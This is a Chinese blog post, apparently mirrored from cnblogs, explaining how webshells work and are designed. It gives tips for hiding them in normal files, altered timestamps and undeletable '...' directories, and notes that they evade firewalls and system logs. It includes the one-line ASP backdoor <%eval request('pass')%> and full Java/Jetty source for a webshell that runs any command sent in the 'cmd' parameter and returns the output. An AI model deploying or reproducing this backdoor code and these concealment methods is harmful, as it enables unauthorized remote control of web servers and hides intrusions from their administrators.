zoukankan      html  css  js  c++  java
  • atitit.木马病毒webshell的原理and设计 java c# .net php.

    atitit.木马病毒webshell的原理and设计 java c# .net php.

     

     

     

    1. 隐蔽性

    编辑

    WebShell后门具有隐蔽性,一般有隐藏在正常文件中并修改文件时间达到隐蔽的,还有利用服务器漏洞进行隐藏,如 "..." 目录就可以达到,站长从FTP中找到的是含有“..”的文件夹,而且没有权限删除,还有一些隐藏的WEBSHELL,可以隐藏于正常文件带参数运行脚本后门。

    webshell可以穿越服务器防火墙,由于与被控制的服务器或远程过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

     

    作者:: 绰号:老哇的爪子 ( 全名::Attilax Akbar Al Rapanui 阿提拉克斯 阿克巴 阿尔 拉帕努伊 ) 汉字名:艾龙,  EMAIL:1466519819@qq.com

    转载请注明来源: http://www.cnblogs.com/attilax/

     

    2. webshell的分类

    webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。

    根据功能也分为大马与小马,小马通常指的一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。这里eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。服务器配置(即本机配置

     

    3. Code---

    package com.attilax.webshell;

     

    import javax.servlet.http.HttpServletRequest;

    import javax.servlet.http.HttpServletResponse;

    import javax.servlet.ServletException;

     

    import java.io.IOException;

     

    import org.eclipse.jetty.server.Server;

    import org.eclipse.jetty.server.Request;

    import org.eclipse.jetty.server.handler.AbstractHandler;

     

    import com.attilax.cmd.CmdX;

    import com.attilax.io.filex;

    import com.lowagie.text.html.HtmlEncoder;

     

    public class Webshell extends AbstractHandler

    {

        public void handle(String target,

                           Request baseRequest,

                           HttpServletRequest request,

                           HttpServletResponse response) 

            throws IOException, ServletException

        {

        String cmd=request.getParameter("cmd");

        System.out.println("==cmd:"+cmd);

        String r=new CmdX().exe(cmd);

            response.setContentType("text/html;charset=utf-8");

            response.setStatus(HttpServletResponse.SC_OK);

            baseRequest.setHandled(true);

            response.getWriter().println("--rzt:<p>"+ HtmlEncoder.encode( r));

        }

     

        public static void main(String[] args) throws Exception

        {

        //org.slf4j.helpers.MessageFormatter

        start_websell();

            System.out.println("--f");

        }

     

        public static void start_websell() {

    Server server = new Server(8080);

            server.setHandler(new Webshell());

      

            try {

    server.start();

    } catch (Exception e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

    }

            System.out.println("--staered");

            try {

    server.join();

    } catch (InterruptedException e) {

    // TODO Auto-generated catch block

    e.printStackTrace();

    }

    }

    }

    4. Ref

    atitit.跨架构 bs cs解决方案自定义web服务器的实现方案 java .net jetty  HttpListener

     

    获取webshell的十种方法 - 51CTO.COM.htm

    Webshell实现与隐藏探究_91Ri.org.htm

    Webshell实现与隐藏探究_91Ri.org.htm

  • 相关阅读:
    linux 解压tgz 文件指令
    shell 脚本没有执行权限 报错 bash: ./myshell.sh: Permission denied
    linux 启动solr 报错 Your Max Processes Limit is currently 31202. It should be set to 65000 to avoid operational disruption.
    远程查询批量导入数据
    修改 MZTreeView 赋权节点父节点选中子节点自动选中的问题
    关于乱码的问题解决记录
    我的网站优化之路
    对设计及重构的一点反思
    我的五年岁月
    奔三的路上
  • 原文地址:https://www.cnblogs.com/attilax/p/5274375.html
Copyright © 2011-2022 走看看